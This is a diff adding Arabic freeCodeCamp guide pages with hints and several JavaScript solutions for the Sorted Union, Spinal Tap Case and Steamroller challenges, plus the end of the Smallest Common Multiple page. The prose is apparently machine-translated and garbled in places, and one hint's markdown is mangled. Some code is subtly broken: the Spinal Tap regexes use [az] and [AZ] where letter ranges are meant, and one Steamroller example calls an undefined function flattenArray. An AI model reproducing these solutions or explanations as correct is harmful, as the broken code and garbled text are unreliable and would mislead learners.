+*   يتطلب الحل الأول ، الأساسي أكثر من 2000 حلقة لحساب `smallestCommons([1,13])` حالة اختبار `smallestCommons([1,13])` ، وأكثر من 4 ملايين حلقة لحساب `smallestCommons([1,25])` . يقوم هذا الحل بتقييم `smallestCommons([1,13])` في حوالي 20 حلقة `smallestCommons([1,25])` في 40 ، باستخدام خوارزمية أكثر كفاءة.
+*   تقديم **مجموعة ومجموعة** فارغة.
+*   يتم دفع جميع الأرقام بين النطاق المحدد **للنطاق** باستخدام حلقة `for` .
+*   تقوم الكود التالي من الكود بتنفيذ الخوارزمية الإقليدية ، والتي تستخدم لإيجاد أصغر مضاعفات شائعة.
+
+#### روابط ذات صلة
+
+*   [خوارزمية Euclidean](https://en.wikipedia.org/wiki/Euclidean_algorithm)
+*   [JS Math Max](http://forum.freecodecamp.com/t/javascript-math-max/14682)
+*   [شبيبة الرياضيات مين](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function smallestCommons(arr) { 
+ 
+  // range 
+  let min = Math.min.apply(null, arr); 
+  let max = Math.max.apply(null, arr); 
+ 
+  let smallestCommon = lcm(min, min + 1); 
+ 
+  while(min < max) { 
+    min++; 
+    smallestCommon = lcm(smallestCommon, min); 
+  } 
+ 
+  return smallestCommon; 
+ } 
+ 
+ /** 
+ * Calculates Greatest Common Divisor 
+ * of two nubers using Euclidean algorithm 
+ * https://en.wikipedia.org/wiki/Euclidean_algorithm 
+ */ 
+ function gcd(a, b) { 
+  while (b > 0) { 
+    let tmp = a; 
+    a = b; 
+    b = tmp % b; 
+  } 
+  return a; 
+ } 
+ 
+ /** 
+ * Calculates Least Common Multiple 
+ * for two numbers utilising GCD 
+ */ 
+ function lcm(a, b) { 
+  return (a * b / gcd(a, b)); 
+ } 
+ 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/MR9P/latest)
+
+### شرح الشفرة:
+
+*   استخراج الحد الأدنى والحد الأقصى من **arr** المتوفرة.
+*   قم بتهيئة **smallestCommon** باستخدام LCM من أول رقمين.
+*   قم بالالتفاف من خلال LCM للحوسبة LCM من LCM الحالي والعدد التالي في النطاق **lcm (a، b، c) = lcm (lcm (a، b)، c)** .
+
+#### روابط ذات صلة
+
+*   [JS Function.prototype.apply ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md
new file mode 100644
index 0000000000..e61c7356e4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md
@@ -0,0 +1,208 @@
+---
+title: Sorted Union
+localeTitle: الاتحاد الفرز
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+يجب أن يقوم البرنامج بإرجاع صفيف جديد من القيم الفريدة من صفيفين أصليين بالترتيب الذي تظهر به. لذلك لا يوجد فرز مطلوب ، ولا ينبغي أن يكون هناك أي تكرارات.
+
+#### روابط ذات صلة
+
+*   [JS الحجج](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+نظرًا لعدم وجود أي فكرة عن عدد المعلمات التي تم تمريرها ، سيكون من الأفضل إجراء التكرار عبر **الوسيطات** قبل التكرار خلال المصفوفات.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+ليس من الضروري استخدام الحلقات. يمكنك استخدام الوظائف مثل `map()` أو `reduce()` أو غيرها إذا كنت تريد.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+سيكون عليك التحقق مما إذا كانت القيمة الحالية موجودة بالفعل على الصفيف الذي سيتم إرجاعه لكل قيمة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function uniteUnique(arr1, arr2, arr3) { 
+  // Creates an empty array to store our final result. 
+  var finalArray = []; 
+ 
+  // Loop through the arguments object to truly made the program work with two or more arrays 
+  // instead of 3. 
+  for (var i = 0; i < arguments.length; i++) { 
+    var arrayArguments = arguments[i]; 
+ 
+    // Loops through the array at hand 
+    for (var j = 0; j < arrayArguments.length; j++) { 
+      var indexValue = arrayArguments[j]; 
+ 
+      // Checks if the value is already on the final array. 
+      if (finalArray.indexOf(indexValue) < 0) { 
+        finalArray.push(indexValue); 
+      } 
+    } 
+  } 
+ 
+  return finalArray; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnM/0)
+
+### شرح الشفرة:
+
+*   إنشاء صفيف فارغ **finalResult** لتخزين النتيجة النهائية.
+*   التكرار من خلال كائن **الوسائط** في الحلقة الخارجية وتخزينها في **arrayArguments** .
+*   يتم استخدام الحلقة الداخلية للتكرار من خلال عناصر الصفيف الفردية.
+*   إذا لم يكن العنصر موجودًا بالفعل في **finalArray** ، **فأضفه** .
+*   عودة **finalArray** .
+
+#### روابط ذات صلة
+
+*   [شبيبة لشرح الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JS String Prototype IndexOf](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [JS Array Prototype Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## بديلة حل رمز الأساسية
+
+ `function uniteUnique(arr) { 
+  var args = [...arguments]; 
+  var result = []; 
+  for(var i = 0; i < args.length; i++) { 
+    for(var j = 0; j < args[i].length; j++) { 
+       if(!result.includes(args[i][j])) { 
+        result.push(args[i][j]); 
+      } 
+    } 
+  } 
+  return result; 
+ } 
+ 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+` 
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function uniteUnique(arr1, arr2, arr3) { 
+ var newArr; 
+ //Convert the arguments object into an array 
+  var args = Array.prototype.slice.call(arguments); 
+  //Use reduce function to flatten the array 
+  newArr = args.reduce(function(arrA,arrB){ 
+  //Apply filter to remove the duplicate elements in the array 
+    return arrA.concat(arrB.filter(function(i){ 
+      return arrA.indexOf(i) === -1; 
+    })); 
+  }); 
+ 
+   return newArr; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnO/0)
+
+### شرح الشفرة:
+
+*   يتم تحويل كائن **الوسائط** إلى صفيف باستخدام `slice()` .
+*   يتم استخدام دالة `reduce()` لتسوية الصفيف ، لكل عنصر موجود في المصفوفة (أو المصفوفات المتداخلة) ، قم باستخلاص عناصرها إلى مصفوفة أحادية البعد.
+*   بعد تسوية الصفيف ، يتم استخدام `filter()` لإزالة العناصر المكررة من **newArr** .
+
+#### روابط ذات صلة
+
+*   [JS Array Prototype Slice](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [JS Array Prototype Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [JS Array Prototype Concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [JS Array Prototype Filter](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function uniteUnique() { 
+  var concatArr = []; 
+  var i = 0; 
+  while (arguments[i]){ 
+    concatArr = concatArr.concat(arguments[i]); i++; 
+  } 
+  uniqueArray = concatArr.filter(function(item, pos) { 
+    return concatArr.indexOf(item) == pos; 
+  }); 
+  return uniqueArray; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnN/0)
+
+### شرح الشفرة:
+
+*   يمكن أن يتغير عدد الوسيطات ديناميكيًا ، لذلك لا نحتاج إلى إزعاج توفير `uniteUnique()` على الإطلاق.
+*   نستخدم حلقة `while` لسَلسَلة جميع الوسيطات في صفيف واحد يسمى **concatArr** .
+*   نحن نستخدم `filter()` لإزالة العناصر المتكررة عن طريق التحقق من فهرس كل عنصر وإزالة نفس العناصر بمواضع مختلفة.
+*   سيتم الحفاظ على الطلب هنا.
+
+#### روابط ذات صلة
+
+*   شبيبة بينما حلقة
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") البديل رمز الحل باستخدام ES2015
+
+ `//jshint esversion:6 
+ 
+ function uniteUnique(...arrays) { 
+ 
+  //make an array out of the given arrays and flatten it (using the spread operator) 
+  const flatArray = [].concat(...arrays); 
+ 
+  // create a Set which clears any duplicates since it's a regulat set and not a multiset 
+  return [...new Set(flatArray)]; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CcWk/0)
+
+### شرح الشفرة:
+
+*   نستخدم أولاً `concat()` مع صفيف فارغ `<a href='http://exploringjs.com/es6/ch_maps-sets.html#_set' target='_blank' rel='nofollow'>]` كنقطة بداية و عامل الانتشار `...` لإنشاء صفيف خارج كائن الوسيطات وتسويته في نفس الوقت
+*   ثم نستخدم كائن ES2015 **Set** الجديد لتخزين القيم الفريدة فقط
+*   (لمعرفة المزيد عن مجموعات ، اقرأ \[هنا\]
+
+#### روابط ذات صلة
+
+*   [Array.prototype.concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [الحجج](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+*   [جلس](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md
new file mode 100644
index 0000000000..238b090b54
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md
@@ -0,0 +1,127 @@
+---
+title: Spinal Tap Case
+localeTitle: حنفية شبكية
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+قم بتحويل السلسلة المعطاة إلى جملة صغيرة بالكلمات المرتبطة بشُرط.
+
+#### روابط ذات صلة
+
+*   [كائن عالمي السلسلة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   شبيبة ريجكس الموارد
+*   [JS String Prototype Replace](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [JS String Prototype ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+قم بتكوين تعبير عادي لكل المساحات البيضاء والشرطات السفلية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+سيكون عليك أيضًا جعل كل شيء صغيرًا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+الجزء الصعب هو الحصول على جزء التعبير العادي للعمل ، بمجرد القيام بذلك ، ثم مجرد تحويل الأحرف الكبيرة إلى أحرف صغيرة واستبدال المسافات مع الشرطات السفلية باستخدام `replace()` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function spinalCase(str) { 
+  // Create a variable for the white space and underscores. 
+  var regex = /\s+|_+/g; 
+ 
+  // Replace low-upper case to low-space-uppercase 
+  str = str.replace(/([az])([AZ])/g, '$1 $2'); 
+ 
+  // Replace space and underscore with - 
+  return str.replace(regex, '-').toLowerCase(); 
+ } 
+ 
+ // test here 
+ spinalCase('This Is Spinal Tap'); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnS/0)
+
+### شرح الشفرة:
+
+*   يحتوي **regex** على التعبير العادي `/\s+|_+/g` ، والذي سيحدد كل المسافات البيضاء والشرطات السفلية.
+*   يضع `replace()` الأول `replace()` مسافة قبل أي أحرف كبيرة تمت مصادفتها في **str** السلسلة بحيث يمكن استبدال المسافات بشُرط في وقت لاحق.
+*   أثناء استعادة السلسلة ، `replace()` آخر `replace()` المسافات والشرطات السفلية باستخدام الشرطات باستخدام **regex** .
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function spinalCase(str) { 
+  // Replace low-upper case to low-space-uppercase 
+  str = str.replace(/([az])([AZ])/g, '$1 $2'); 
+  // Split on whitespace and underscores and join with dash 
+  return str.toLowerCase().split(/(?:_| )+/) .join('-'); 
+ } 
+ 
+ // test here 
+ spinalCase('This Is Spinal Tap'); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnT/0)
+
+### شرح الشفرة:
+
+*   على غرار الحل الأول ، يضع `replace()` الأول `replace()` مسافة قبل أي أحرف كبيرة تمت رؤيتها في **str** السلسلة بحيث يمكن استبدال المسافات بشُرط في وقت لاحق.
+*   بدلاً من استخدام `replace()` هنا لاستبدال whitespace والشرطات السفلية مع الشرطات ، يتم `split()` السلسلة `split()` على التعبير العادي `/(?:_| )+/` و `join()` `-` على `-` .
+
+#### روابط ذات صلة
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [شبيبة صفيف النموذج](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function spinalCase(str) { 
+  // "It's such a fine line between stupid, and clever." 
+  // --David St. Hubbins 
+ 
+  return str.split(/\s|_|(?=[AZ])/).join('-').toLowerCase() 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/EUZV)
+
+### شرح الشفرة:
+
+*   تقسيم السلسلة في أحد الشروط التالية (تم _تحويلها إلى صفيف_ )
+    *   تم العثور على حرف مسافة بيضاء \[ `\s` \]
+    *   تم اكتشاف حرف الشرطة السفلية \[ `_` \]
+    *   أو متبوعاً بحرف كبير \[ `(?=[AZ])` \]
+*   الانضمام إلى الصفيف باستخدام واصلة ( `-` )
+*   أحرف صغيرة السلسلة الناتجة بأكملها
+
+#### روابط ذات صلة
+
+*   [سلسلة # انقسام](http://devdocs.io/javascript/global_objects/string/split)
+*   [التعبير العادي](http://devdocs.io/javascript/global_objects/regexp)
+*   [Arrray # الانضمام](http://devdocs.io/javascript/global_objects/array/join)
+*   [سلسلة # toLowerCase](http://devdocs.io/javascript/global_objects/string/tolowercase)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md
new file mode 100644
index 0000000000..0c2d4432ff
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md
@@ -0,0 +1,138 @@
+---
+title: Steamroller
+localeTitle: أجاز
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+تبدو هذه المشكلة بسيطة ولكن عليك التأكد من تسطيح أي صفيف ، بغض النظر عن المستوى الذي يضيف صعوبة في المشكلة.
+
+#### روابط ذات صلة
+
+*   [Array.isArray ()](http://forum.freecodecamp.com/t/javascript-array-isarray/14284)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+تحتاج إلى التحقق مما إذا كان العنصر عبارة عن مصفوفة أم لا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+إذا كنت تتعامل مع مصفوفة ، فإنك تحتاج إلى تسطيحها عن طريق الحصول على القيمة داخل الصفيف. وهذا يعني أنه إذا كان لديك [\[4\]\] ، فبدلاً من العودة \[4\] ، يجب عليك العودة. 4. إذا حصلت على \[\[\[4\]\]\] ، فستحتاج إلى نفس الشيء ، فأنت تريد الرقم 4. يمكنك الوصول إليه باستخدام arr \[index1\] \[index2\] للذهاب إلى مستوى أعمق.](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ":speech_balloon:")
+
+> _حاول أن تحل المشكلة الآن_
+
+## ! \[: speech\_balloon: تلميح: 3
+
+سوف تحتاج بالتأكيد إلى العودية أو طريقة أخرى لتجاوز صفيفتين من المستوى لجعل الشفرة مرنة وغير مشفرة للأجوبة المطلوبة. إستمتع!
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function steamrollArray(arr) { 
+  var flattenedArray = []; 
+ 
+  // Create function that adds an element if it is not an array. 
+  // If it is an array, then loops through it and uses recursion on that array. 
+  var flatten = function(arg) { 
+    if (!Array.isArray(arg)) { 
+      flattenedArray.push(arg); 
+    } else { 
+      for (var a in arg) { 
+        flatten(arg[a]); 
+      } 
+    } 
+  }; 
+ 
+  // Call the function for each element in the array 
+  arr.forEach(flatten); 
+  return flattenedArray; 
+ } 
+ 
+ // test here 
+ steamrollArray([1, [2], [3, [[4]]]]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnh/0)
+
+### شرح الشفرة:
+
+*   إنشاء متغير جديد للحفاظ على صفائف بالارض.
+*   قم بإنشاء دالة تضيف عناصر غير صفيف إلى المتغير الجديد ، وبالنسبة إلى تلك المصفوفة ، فإنها تتكرر من خلالها للحصول على العنصر.
+*   يفعل ذلك باستخدام العودية ، إذا كان العنصر عبارة عن صفيف ثم استدعاء الدالة مرة أخرى مع طبقة من الصفيف أعمق للتحقق مما إذا كان صفيف أم لا. إذا لم يكن ثم دفع هذا العنصر غير الصفيف للمتغير الذي يتم إرجاعه. خلاف ذلك ، استمر في التعمق.
+*   استدعاء الدالة ، في المرة الأولى التي سيتم تمريرها دائماً صفيف ، لذلك تقع دائماً في فرع isArray
+*   أعد الصفيف مسطح.
+
+#### روابط ذات صلة
+
+*   [Array.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Array.forEach ()](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function steamrollArray(arr) { 
+  let flat = [].concat(...arr); 
+  return flat.some(Array.isArray) ? steamrollArray(flat) : flat; 
+ } 
+ 
+ flattenArray([1, [2], [3, [[4]]]]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLni/0)
+
+### شرح الشفرة:
+
+*   استخدم عامل النشر لسَلسَلة كل عنصر من عناصر `arr` مع صفيف فارغ
+*   استخدم أسلوب `Array.some()` لمعرفة ما إذا كان الصفيف الجديد يحتوي على صفيف لا يزال
+*   إذا كان كذلك ، استخدم استدعاء العودية ، قم `steamrollArray` مرة أخرى ، مروراً في المصفوفة الجديدة لتكرار العملية على المصفوفات المتداخلة بعمق
+*   إذا لم يتم ذلك ، أعد الصفيف مسطح
+
+#### روابط ذات صلة
+
+*   [Array.some](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
+*   [Array.concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [انتشار المشغل](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+*   [مشغل ثالث ( `condition ? a : b` )](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function steamrollArray(arr) { 
+  return arr.toString() 
+    .replace(',,', ',')       // "1,2,,3" => "1,2,3" 
+    .split(',')               // ['1','2','3'] 
+    .map(function(v) { 
+      if (v == '[object Object]') { // bring back empty objects 
+        return {}; 
+      } else if (isNaN(v)) {        // if not a number (string) 
+        return v; 
+      } else { 
+        return parseInt(v);         // if a number in a string, convert it 
+      } 
+    }); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CpDy/4)
+
+### شرح الشفرة:
+
+*   أولاً ، نحول المصفوفة إلى سلسلة ، والتي ستمنحنا سلسلة من الأرقام مفصولة بفاصلة ، فاصلة مزدوجة إذا كان هناك مصفوفة فارغة ونص كائن حرفي إذا كان هناك كائن ، يمكننا إصلاحه لاحقًا في بيان if الخاص بنا .
+*   نستبدل الفاصلة المزدوجة بواحد ، ثم نقسمها إلى صفيف.
+*   الخريطة من خلال الصفيف وإصلاح قيم الكائن وتحويل أرقام السلسلة إلى أرقام منتظمة.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
